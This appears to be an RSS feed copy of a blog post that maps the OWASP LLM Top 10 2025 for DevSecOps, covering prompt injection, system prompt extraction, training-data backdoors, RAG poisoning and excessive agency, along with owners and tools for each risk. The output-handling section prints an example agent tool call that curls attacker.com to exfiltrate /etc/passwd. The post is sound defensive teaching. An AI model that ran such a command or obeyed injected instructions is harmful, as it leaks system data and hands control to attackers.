<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RAG Security Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/rag-security/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/rag-security/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Tue, 07 Jul 2026 03:13:45 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>RAG Security Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/rag-security/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>OWASP LLM Top 10 2025: The Complete Map for DevSecOps</title>
		<link>https://linuxcent.com/owasp-llm-top-10-2025/</link>
					<comments>https://linuxcent.com/owasp-llm-top-10-2025/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 16 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[AI Compliance]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[OWASP LLM Top 10]]></category>
		<category><![CDATA[Prompt Injection]]></category>
		<category><![CDATA[RAG Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2219</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>OWASP LLM Top 10 2025 explained for DevSecOps: all 10 categories, what's new in v2.0, who is responsible, and what tools address each risk.</p>
<p>The post <a href="https://linuxcent.com/owasp-llm-top-10-2025/">OWASP LLM Top 10 2025: The Complete Map for DevSecOps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/owasp-top-10-history-evolution/">OWASP Top 10 History</a> → <a href="/owasp-llm-top-10-vs-owasp-top-10/">The Four OWASP Lists</a> → <a href="/llm-security-risks-owasp/">Why Classic OWASP Breaks for LLMs</a> → <strong>OWASP LLM Top 10 2025</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OWASP LLM Top 10 2025</strong> (v2.0, released November 2024) covers the 10 attack categories that specifically target language model applications — from prompt injection to resource exhaustion</li>
<li>v2.0 added two new categories that didn&#8217;t exist in 2023: System Prompt Leakage (LLM07) and Vector/Embedding Weaknesses (LLM08), both driven by the explosion of RAG and agentic AI deployments</li>
<li>Sensitive Information Disclosure moved from #6 to #2 — not a theoretical reprioritization; real breach data from production LLM deployments drove it up</li>
<li>The 10 categories divide into three tiers by defense complexity: structural (LLM03, LLM04 — prevent at training time), runtime (LLM01, LLM02, LLM05, LLM07, LLM08 — require active guardrails), and architectural (LLM06, LLM09, LLM10 — require system design changes)</li>
<li>Each category in this post links to its dedicated deep-dive episode in Parts II and III</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> This episode is the complete reference map for the series. All 10 OWASP LLM Top 10 (2025) categories are covered at orientation depth. Deep dives with Red/Detect/Defend structure begin in EP05.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">OWASP LLM TOP 10 (2025): ATTACK SURFACE MAP

TRAINING TIME                    RUNTIME                      AGENCY
───────────────────────────────────────────────────────────────────────

LLM03 Supply Chain             LLM01 Prompt Injection        LLM06 Excessive Agency
  └─ Poisoned model weights      └─ Direct (user input)        └─ Agent tool over-permission
  └─ Malicious plugins           └─ Indirect (via RAG)         └─ Unintended action chains

LLM04 Data/Model Poisoning     LLM02 Info Disclosure         LLM10 Unbounded Consumption
  └─ Training data backdoors     └─ PII, API keys in output    └─ Token/compute exhaustion
  └─ Fine-tuning manipulation    └─ Training data extraction   └─ Cost amplification via API

                               LLM05 Output Handling
                                 └─ Unsafe output downstream
                                 └─ Injected content in resp.

                               LLM07 System Prompt Leakage
                                 └─ Extracting hidden context
                                 └─ Revealing business logic

                               LLM08 Vector/Embedding Weaknesses
                                 └─ RAG database poisoning
                                 └─ Access control on retrieval

                               LLM09 Misinformation
                                 └─ Confident hallucination
                                 └─ False citations

───────────────────────────────────────────────────────────────────────
DEFENSE LAYER      Training governance   Guardrails + scanning   Capability scoping
PRIMARY TOOL       Data validation       LLM Guard, NeMo         Tool RBAC, auditing
                   Model integrity       Guardrails              Rate limiting
</code></pre>
<p>The <strong>OWASP LLM Top 10 2025</strong> is the standard vocabulary for discussing language model attack surfaces. This map is what every team deploying LLMs in production should have on the wall — not as a checklist to tick, but as a threat model to reason against.</p>
<hr />
<h2 id="what-changed-v10-2023-v20-2025">What Changed: v1.0 (2023) → v2.0 (2025)</h2>
<table>
<thead>
<tr>
<th>Change</th>
<th>v1.0 (2023)</th>
<th>v2.0 (2025)</th>
<th>Why</th>
</tr>
</thead>
<tbody>
<tr>
<td>New category</td>
<td>—</td>
<td>LLM07 System Prompt Leakage</td>
<td>System prompt extraction became a documented, prevalent attack</td>
</tr>
<tr>
<td>New category</td>
<td>—</td>
<td>LLM08 Vector/Embedding Weaknesses</td>
<td>RAG deployments exploded; vector DB poisoning needed its own category</td>
</tr>
<tr>
<td>Reprioritized</td>
<td>LLM06 Sensitive Info Disclosure</td>
<td>LLM02 Sensitive Info Disclosure</td>
<td>Moved from #6 to #2 based on actual breach patterns</td>
</tr>
<tr>
<td>Renamed/refocused</td>
<td>LLM07 Insecure Plugin Design</td>
<td>Merged into LLM03 Supply Chain</td>
<td>Plugin risk subsumed into broader supply chain category</td>
</tr>
<tr>
<td>Renamed</td>
<td>LLM09 Overreliance</td>
<td>LLM09 Misinformation</td>
<td>Refocused from user behavior to model behavior as the risk</td>
</tr>
<tr>
<td>Consolidated</td>
<td>LLM04 Model DoS</td>
<td>LLM10 Unbounded Consumption</td>
<td>Merged resource exhaustion into a broader consumption category</td>
</tr>
<tr>
<td>Dropped</td>
<td>LLM10 Model Theft</td>
<td>Consolidated into LLM03</td>
<td>Model theft is a supply chain / data exfiltration variant</td>
</tr>
</tbody>
</table>
<p>The two additions (LLM07, LLM08) reflect where the attack surface moved in 2023–2024. As organizations deployed RAG applications, attackers found that the retrieval step was an injection surface — poisoned documents in the vector store become indirect prompt injections. As system prompts became more sophisticated (containing business logic, API keys, behavioral constraints), extracting them became a valuable reconnaissance objective.</p>
<hr />
<h2 id="the-10-categories">The 10 Categories</h2>
<hr />
<h3 id="llm01-prompt-injection">LLM01: Prompt Injection</h3>
<p><strong>What it is:</strong> An attacker&#8217;s input manipulates the model&#8217;s behavior beyond its intended function. Direct injection: the user&#8217;s message itself contains the attack. Indirect injection: the attack arrives embedded in content the model retrieves (a document, a web page, a database entry) rather than from the user directly.</p>
<p><strong>Why it&#8217;s #1:</strong> It&#8217;s the most exploited category and the hardest to structurally eliminate. Because the model cannot reliably distinguish instruction from data (see EP03), every input path is a potential injection surface.</p>
<p><strong>Who is responsible:</strong> Application developers (input validation layer), DevSecOps (guardrail deployment, CI/CD testing), Red Team (adversarial probing with Garak/PyRIT).</p>
<p><strong>Deep dive:</strong> <a href="/prompt-injection-attack-llm/">Prompt Injection Attacks: How LLM01 Becomes Full System Compromise →</a> <em>(EP05)</em></p>
<hr />
<h3 id="llm02-sensitive-information-disclosure">LLM02: Sensitive Information Disclosure</h3>
<p><strong>What it is:</strong> The model outputs information it should not — training data (including PII or proprietary data that leaked into training sets), system prompt contents, API keys, credentials injected into the context window by application code.</p>
<p><strong>Why it moved to #2:</strong> Production breach data from 2023–2024 showed consistent patterns: models trained on customer data exposing PII in responses, API keys embedded in system prompts being extracted, model inversion attacks recovering training data fragments.</p>
<p><strong>Who is responsible:</strong> ML Engineers (training data governance, PII scrubbing before training), Developers (never put secrets in system prompts, use secret management), Compliance (data inventory: what is in the training set?).</p>
<p><strong>Deep dive:</strong> <a href="/llm-sensitive-information-disclosure/">LLM Sensitive Information Disclosure: When the Model Becomes the Data Leak →</a> <em>(EP06)</em></p>
<hr />
<h3 id="llm03-supply-chain">LLM03: Supply Chain</h3>
<p><strong>What it is:</strong> The LLM supply chain is broader than software supply chain. Compromise vectors include: pre-trained model weights from untrusted sources, compromised third-party plugins or tool integrations, poisoned fine-tuning datasets, malicious model cards that instruct users to run unsafe code.</p>
<p><strong>Classic parallel:</strong> Software supply chain attacks (SolarWinds, XZ Utils) compromise a dependency that downstream users trust. LLM supply chain attacks compromise the model artifact or its training inputs that all downstream deployments inherit.</p>
<p><strong>Who is responsible:</strong> DevSecOps (verify model artifact integrity before deployment), ML Engineers (training pipeline data provenance), Security (threat model for third-party plugin integrations).</p>
<p><strong>For supply chain anatomy from SolarWinds to XZ Utils in the software context, see</strong> <a href="/supply-chain-attacks-solarwinds-xz-utils/">supply chain attacks and software dependency compromise</a> in the Purple Team series.</p>
<p><strong>Deep dive:</strong> <a href="/llm-supply-chain-attack/">LLM Supply Chain: From Poisoned Models to Malicious Plugins →</a> <em>(EP07)</em></p>
<hr />
<h3 id="llm04-data-and-model-poisoning">LLM04: Data and Model Poisoning</h3>
<p><strong>What it is:</strong> An attacker with influence over the training or fine-tuning pipeline inserts malicious content that creates a backdoor in the model. The backdoor activates when specific trigger conditions are present at inference time — the model behaves normally otherwise and abnormally (bypassing safety filters, leaking data, executing attacker instructions) when triggered.</p>
<p><strong>Why it matters at infrastructure scale:</strong> Fine-tuning on organizational data is increasingly common. If your fine-tuning pipeline ingests data from a source an attacker can influence — a shared document store, a public dataset, a third-party data vendor — the attack surface exists.</p>
<p><strong>Who is responsible:</strong> ML Engineers (training data validation, dataset provenance controls), Security (threat model for training pipeline access), Data governance (who can write to training data sources?).</p>
<p><strong>Deep dive:</strong> <a href="/llm-data-poisoning-attack/">Data and Model Poisoning: How Training Data Becomes a Backdoor →</a> <em>(EP08)</em></p>
<hr />
<h3 id="llm05-improper-output-handling">LLM05: Improper Output Handling</h3>
<p><strong>What it is:</strong> The model&#8217;s output is consumed by downstream systems — databases, code interpreters, browser rendering, email senders — without adequate validation or sanitization. The output becomes the injection vector into those downstream systems.</p>
<p><strong>Classic parallel:</strong> Stored XSS — attacker input is persisted and later rendered in a browser as HTML/JS. The model&#8217;s output, if rendered in a browser context, is the same attack path. If the model generates SQL, a code interpreter runs it. If the model generates shell commands that an agent executes, command injection follows.</p>
<p><strong>Why it matters for agents:</strong> Agentic LLMs don&#8217;t just produce text for a human to read — they produce structured outputs that downstream tools act on. An injection that causes the model to output <code class="" data-line="">{&quot;tool&quot;: &quot;execute_shell&quot;, &quot;command&quot;: &quot;curl attacker.com/exfil?data=$(cat /etc/passwd)&quot;}</code> is a code execution vulnerability, not a text generation edge case.</p>
<p><strong>Who is responsible:</strong> Developers (output sanitization before downstream consumption), DevSecOps (output scanning in the inference pipeline).</p>
<p><strong>Deep dive:</strong> <a href="/llm-output-handling-vulnerability/">Improper LLM Output Handling: Injection That Lives in the Response →</a> <em>(EP09)</em></p>
<hr />
<h3 id="llm06-excessive-agency">LLM06: Excessive Agency</h3>
<p><strong>What it is:</strong> An LLM agent is granted more tool access, permissions, or autonomous authority than required for its stated function — and is then manipulated (via prompt injection or other means) into using those capabilities in unintended ways.</p>
<p><strong>Classic parallel:</strong> Principle of least privilege — a process should have only the permissions required for its function. Violation of PoLP in classic systems allows privilege escalation. For agents, violation means an injected instruction can cause the agent to call tools (send email, query databases, make API calls) it has permission to call but should not be calling in that context.</p>
<p><strong>The agentic AI amplifier:</strong> As LLM agents gain more tool integrations, the blast radius of a successful injection increases. An agent that can read email, write to databases, and call external APIs is not just a chatbot — it is an automated system that an attacker can hijack.</p>
<p><strong>Who is responsible:</strong> Developers (scope tool access to the minimum required, implement human-in-the-loop for high-impact actions), DevSecOps (monitor tool call sequences for anomalies), Security Architecture (review agent capability scope before deployment).</p>
<p>For the IAM dimension — how excessive agency maps to <a href="/aws-iam-privilege-escalation/">IAM privilege escalation in cloud environments</a> — see the Cloud IAM series EP08.</p>
<p><strong>Deep dive:</strong> <a href="/llm-excessive-agency-risk/">LLM Excessive Agency: When Your AI Agent Goes Off-Script →</a> <em>(EP10)</em></p>
<hr />
<h3 id="llm07-system-prompt-leakage-new-in-v20">LLM07: System Prompt Leakage <em>(New in v2.0)</em></h3>
<p><strong>What it is:</strong> System prompts often contain operational business logic, behavioral constraints, tool configuration, and sometimes API keys or internal system information. An attacker who can extract the system prompt gains a reconnaissance advantage — understanding the model&#8217;s constraints enables targeted bypass attempts, and system prompt contents may directly contain sensitive data.</p>
<p><strong>Why it&#8217;s new in v2.0:</strong> As organizations embedded more complexity into system prompts — persona definitions, RAG configuration, tool schemas, operational constraints — the value of extracting them increased. Extraction techniques became well-documented and reliable enough to warrant a dedicated category.</p>
<p><strong>Classic parallel:</strong> Configuration file disclosure — if an attacker can read your nginx config or application config, they understand the system&#8217;s structure and may find credentials or internal URLs embedded there.</p>
<p><strong>Who is responsible:</strong> Developers (don&#8217;t put secrets in system prompts — use secret management; treat system prompts as sensitive assets), Security (test for system prompt extraction as part of LLM security assessment).</p>
<p><strong>Deep dive:</strong> <a href="/llm-system-prompt-leakage/">System Prompt Leakage: Extracting the Instructions Your LLM Hides →</a> <em>(EP11)</em></p>
<hr />
<h3 id="llm08-vector-and-embedding-weaknesses-new-in-v20">LLM08: Vector and Embedding Weaknesses <em>(New in v2.0)</em></h3>
<p><strong>What it is:</strong> RAG applications retrieve content from a vector database to augment the model&#8217;s context. Attack surfaces include: poisoning the vector store with documents that contain adversarial instructions (indirect prompt injection at retrieval time), accessing documents across access control boundaries (user A&#8217;s documents returned in user B&#8217;s query), and manipulating embeddings to cause incorrect retrieval.</p>
<p><strong>Why it&#8217;s new in v2.0:</strong> RAG deployment became mainstream in 2023–2024. The vector database is now a first-class attack surface — previously implicit in LLM01 (indirect injection), now warranting its own category because the access control and integrity dimensions are distinct from basic prompt injection.</p>
<p><strong>The access control dimension:</strong> A vector database that doesn&#8217;t enforce document-level permissions exposes all indexed content to all users. If your organization indexes HR documents, legal documents, and engineering runbooks in the same vector store with the same retrieval logic, any user who can query the chatbot can potentially retrieve any indexed document through a crafted query.</p>
<p><strong>Who is responsible:</strong> Developers (document-level access control on vector store retrieval), DevSecOps (monitor retrieval logs for access anomalies), ML Engineers (document provenance and integrity controls on ingestion).</p>
<p>For the IAM angle on RAG service account permissions, see <a href="/oidc-workload-identity/">OIDC workload identity for service accounts</a> in the Cloud IAM series.</p>
<p><strong>Deep dive:</strong> <a href="/rag-security-vector-embedding-attack/">RAG Security: Vector Database and Embedding Weaknesses in LLM Apps →</a> <em>(EP12)</em></p>
<hr />
<h3 id="llm09-misinformation">LLM09: Misinformation</h3>
<p><strong>What it is:</strong> The model generates factually incorrect information, fabricated citations, or false claims presented with high confidence. In security contexts, this includes: incorrect security guidance that creates false assurance, fabricated CVE details that misdirect incident response, or hallucinated code that contains vulnerabilities.</p>
<p><strong>Why it&#8217;s a security category, not just a quality issue:</strong> Misinformation becomes a security risk when: (1) the output is used to make security decisions, (2) the output is published and influences other actors, or (3) an attacker deliberately triggers confident false outputs (LLM09 as an intentional attack, not just an emergent behavior).</p>
<p><strong>Intentional misinformation attack:</strong> An attacker who can cause an AI assistant to confidently describe a non-existent security control as effective, or to fabricate that a CVE was patched when it wasn&#8217;t, has compromised the organization&#8217;s decision-making process without needing any code execution.</p>
<p><strong>Who is responsible:</strong> Developers (build output grounding and citation verification into AI-assisted workflows), Compliance (AI systems used for compliance advice must have human review gates), Operators (track model accuracy metrics over time; model drift can increase hallucination rates).</p>
<p><strong>Deep dive:</strong> <a href="/llm-misinformation-hallucination-security/">LLM Misinformation Risk: When Confident Wrong Answers Are the Attack →</a> <em>(EP13)</em></p>
<hr />
<h3 id="llm10-unbounded-consumption">LLM10: Unbounded Consumption</h3>
<p><strong>What it is:</strong> Uncontrolled consumption of LLM resources — tokens, compute, API calls, cost — without limits. Attack variants include: sending large context windows to maximize per-request cost, triggering long-running generation chains, orchestrating many simultaneous requests to exhaust rate limits, and exploiting prompt structures that cause disproportionate compute usage.</p>
<p><strong>Why it matters at scale:</strong> LLM API calls are not free. An application without token budgets, rate limiting, and cost alerts is susceptible to resource exhaustion that manifests as budget impact, service degradation, or availability loss. A model that can be prompted to generate indefinitely (recursive summarization, chain-of-thought loops) can be used for targeted DoS against the application.</p>
<p><strong>Who is responsible:</strong> DevSecOps (rate limiting, token budgets, cost monitoring and alerting), Developers (max token limits on all API calls, timeout policies for generation), FinOps (anomaly detection on AI API spend).</p>
<p><strong>Deep dive:</strong> <a href="/llm-unbounded-consumption-dos/">LLM Rate Limiting and Unbounded Consumption: The DoS Nobody Talks About →</a> <em>(EP14)</em></p>
<hr />
<h2 id="roles-and-responsibilities-the-raci-view">Roles and Responsibilities: The RACI View</h2>
<table>
<thead>
<tr>
<th>Category</th>
<th>Developer</th>
<th>DevSecOps</th>
<th>Red Team</th>
<th>ML Engineer</th>
<th>Compliance</th>
</tr>
</thead>
<tbody>
<tr>
<td>LLM01 Prompt Injection</td>
<td>Input validation layer</td>
<td>Guardrail deployment</td>
<td>Adversarial probing</td>
<td>—</td>
<td>Testing evidence</td>
</tr>
<tr>
<td>LLM02 Info Disclosure</td>
<td>No secrets in prompts</td>
<td>Output scanning</td>
<td>Extraction testing</td>
<td>Training data PII scrub</td>
<td>Data inventory</td>
</tr>
<tr>
<td>LLM03 Supply Chain</td>
<td>Plugin vetting</td>
<td>Artifact integrity checks</td>
<td>Supply chain threat model</td>
<td>Dataset provenance</td>
<td>Vendor risk</td>
</tr>
<tr>
<td>LLM04 Data Poisoning</td>
<td>—</td>
<td>Pipeline access controls</td>
<td>Backdoor detection testing</td>
<td>Training data validation</td>
<td>Data governance</td>
</tr>
<tr>
<td>LLM05 Output Handling</td>
<td>Output sanitization</td>
<td>Output scanning</td>
<td>Downstream injection testing</td>
<td>—</td>
<td>Audit evidence</td>
</tr>
<tr>
<td>LLM06 Excessive Agency</td>
<td>Tool scope design</td>
<td>Tool call monitoring</td>
<td>Agent capability testing</td>
<td>—</td>
<td>Agency policy</td>
</tr>
<tr>
<td>LLM07 System Prompt Leakage</td>
<td>Secret management</td>
<td>—</td>
<td>Extraction testing</td>
<td>—</td>
<td>Prompt inventory</td>
</tr>
<tr>
<td>LLM08 Vector Weaknesses</td>
<td>Doc-level ACL</td>
<td>Retrieval log monitoring</td>
<td>RAG poisoning testing</td>
<td>Embedding integrity</td>
<td>Access control audit</td>
</tr>
<tr>
<td>LLM09 Misinformation</td>
<td>Grounding + citations</td>
<td>Accuracy monitoring</td>
<td>Intentional hallucination testing</td>
<td>Drift detection</td>
<td>Decision review gates</td>
</tr>
<tr>
<td>LLM10 Unbounded Consumption</td>
<td>Max token limits</td>
<td>Rate limiting, cost alerts</td>
<td>Resource exhaustion testing</td>
<td>—</td>
<td>Budget controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="defense-tier-classification">Defense Tier Classification</h2>
<p>Not all 10 categories require the same type of defense. Classifying them by defense complexity:</p>
<p><strong>Tier 1 — Structural (requires training-time or design-time controls)</strong><br />
&#8211; LLM03 Supply Chain: fix before deployment via artifact integrity and supply chain governance<br />
&#8211; LLM04 Data/Model Poisoning: fix at training pipeline via data provenance and validation</p>
<p><strong>Tier 2 — Runtime (requires active guardrails at inference time)</strong><br />
&#8211; LLM01 Prompt Injection: input classification, output monitoring, indirect injection detection<br />
&#8211; LLM02 Sensitive Info Disclosure: output scanning for PII/secret patterns<br />
&#8211; LLM05 Improper Output Handling: sanitization before downstream consumption<br />
&#8211; LLM07 System Prompt Leakage: extraction testing, secret management hygiene<br />
&#8211; LLM08 Vector/Embedding Weaknesses: retrieval access controls, document integrity</p>
<p><strong>Tier 3 — Architectural (requires system design changes)</strong><br />
&#8211; LLM06 Excessive Agency: capability scoping, human-in-the-loop design<br />
&#8211; LLM09 Misinformation: grounding mechanisms, output verification workflows<br />
&#8211; LLM10 Unbounded Consumption: rate limiting, token budgets, cost monitoring architecture</p>
<p>Most organizations start with Tier 2 (deployable guardrails) and work outward. Tier 3 issues are often found late because they require reviewing architectural decisions, not just adding scanning layers.</p>
<hr />
<h2 id="tool-coverage-summary">Tool Coverage Summary</h2>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Type</th>
<th>Categories Addressed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Garak (NVIDIA)</td>
<td>LLM red team scanner</td>
<td>LLM01, LLM02, LLM07, LLM09</td>
</tr>
<tr>
<td>PyRIT (Microsoft)</td>
<td>Red team framework</td>
<td>LLM01, LLM02, LLM06, LLM07</td>
</tr>
<tr>
<td>Promptfoo</td>
<td>LLM evals / CI testing</td>
<td>LLM01, LLM09</td>
</tr>
<tr>
<td>LLM Guard</td>
<td>Runtime scanner</td>
<td>LLM01, LLM02, LLM05, LLM07</td>
</tr>
<tr>
<td>NeMo Guardrails</td>
<td>Conversation rails</td>
<td>LLM01, LLM06</td>
</tr>
<tr>
<td>AWS Bedrock Guardrails</td>
<td>Managed cloud guardrails</td>
<td>LLM01, LLM02, LLM09</td>
</tr>
<tr>
<td>Trivy / cosign</td>
<td>Artifact integrity</td>
<td>LLM03</td>
</tr>
<tr>
<td>Vector DB access controls</td>
<td>Access management</td>
<td>LLM08</td>
</tr>
<tr>
<td>Token budget / rate limiter</td>
<td>Resource controls</td>
<td>LLM10</td>
</tr>
</tbody>
</table>
<p>Full tooling deep dives: EP15 (red team tools), EP16 (runtime defense).</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>&#8220;We addressed prompt injection so we&#8217;re covered on the list&#8221;</strong><br />
LLM01 is one of ten categories. Addressing prompt injection while ignoring LLM08 (RAG poisoning) means an attacker bypasses the input filter entirely by poisoning a document in your vector store. Address the list as a system, not category by category.</p>
<p><strong>&#8220;Our model provider handles safety&#8221;</strong><br />
Model providers implement safety training (RLHF, constitutional AI). They do not control your system prompt contents (LLM07), your vector store access controls (LLM08), your agent&#8217;s tool permissions (LLM06), or how your application handles the model&#8217;s output (LLM05). 6 of the 10 categories are substantially or entirely in your application&#8217;s control.</p>
<p><strong>&#8220;We&#8217;ll address LLM security after we launch&#8221;</strong><br />
LLM03 (Supply Chain) and LLM04 (Data Poisoning) are training-time and deployment-time concerns — if your model was trained on unverified data or deployed from an unverified artifact, retrofitting fixes post-launch is not straightforward. Security architecture for LLMs needs to happen at design and training time, not just at the guardrail layer.</p>
<hr />
<h2 id="quick-reference-owasp-llm-top-10-2025">Quick Reference: OWASP LLM Top 10 (2025)</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Category</th>
<th>Attack Vector</th>
<th>Defense Tier</th>
<th>Deep Dive</th>
</tr>
</thead>
<tbody>
<tr>
<td>LLM01</td>
<td>Prompt Injection</td>
<td>User input, retrieved context</td>
<td>Runtime</td>
<td>EP05</td>
</tr>
<tr>
<td>LLM02</td>
<td>Sensitive Info Disclosure</td>
<td>Model output</td>
<td>Runtime</td>
<td>EP06</td>
</tr>
<tr>
<td>LLM03</td>
<td>Supply Chain</td>
<td>Model artifacts, plugins, datasets</td>
<td>Structural</td>
<td>EP07</td>
</tr>
<tr>
<td>LLM04</td>
<td>Data/Model Poisoning</td>
<td>Training/fine-tuning pipeline</td>
<td>Structural</td>
<td>EP08</td>
</tr>
<tr>
<td>LLM05</td>
<td>Improper Output Handling</td>
<td>Downstream system consumption</td>
<td>Runtime</td>
<td>EP09</td>
</tr>
<tr>
<td>LLM06</td>
<td>Excessive Agency</td>
<td>Agent tool execution</td>
<td>Architectural</td>
<td>EP10</td>
</tr>
<tr>
<td>LLM07</td>
<td>System Prompt Leakage</td>
<td>Extraction via adversarial prompts</td>
<td>Runtime</td>
<td>EP11</td>
</tr>
<tr>
<td>LLM08</td>
<td>Vector/Embedding Weaknesses</td>
<td>RAG retrieval, vector DB</td>
<td>Runtime</td>
<td>EP12</td>
</tr>
<tr>
<td>LLM09</td>
<td>Misinformation</td>
<td>Model generation</td>
<td>Architectural</td>
<td>EP13</td>
</tr>
<tr>
<td>LLM10</td>
<td>Unbounded Consumption</td>
<td>Resource exhaustion</td>
<td>Architectural</td>
<td>EP14</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Connection to LLM Top 10</th>
</tr>
</thead>
<tbody>
<tr>
<td>NIST AI RMF (MAP/MEASURE)</td>
<td>LLM Top 10 is the primary technical risk catalog to MAP against; MEASURE includes testing coverage per category</td>
</tr>
<tr>
<td>ISO 42001:2023</td>
<td>Controls 6.1–6.2 (AI risk assessment) require documenting risks aligned to these categories</td>
</tr>
<tr>
<td>EU AI Act (Art. 9)</td>
<td>High-risk AI system risk management must address categories like LLM01, LLM04, LLM06 explicitly</td>
</tr>
<tr>
<td>SOC 2 (CC7)</td>
<td>Anomaly detection evidence for CC7.2 should include LLM01 injection detection, LLM10 consumption monitoring</td>
</tr>
</tbody>
</table>
<p>Full compliance deep dive: EP17.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>OWASP LLM Top 10 v2.0 (2025) added System Prompt Leakage and Vector/Embedding Weaknesses because RAG and agentic AI created attack surfaces that weren&#8217;t prominent in 2023</li>
<li>The 10 categories divide into three defense tiers: structural (training-time), runtime (guardrails), and architectural (system design) — each requiring different team ownership and different testing approaches</li>
<li>6 of the 10 categories are substantially in your application&#8217;s control, not your model provider&#8217;s</li>
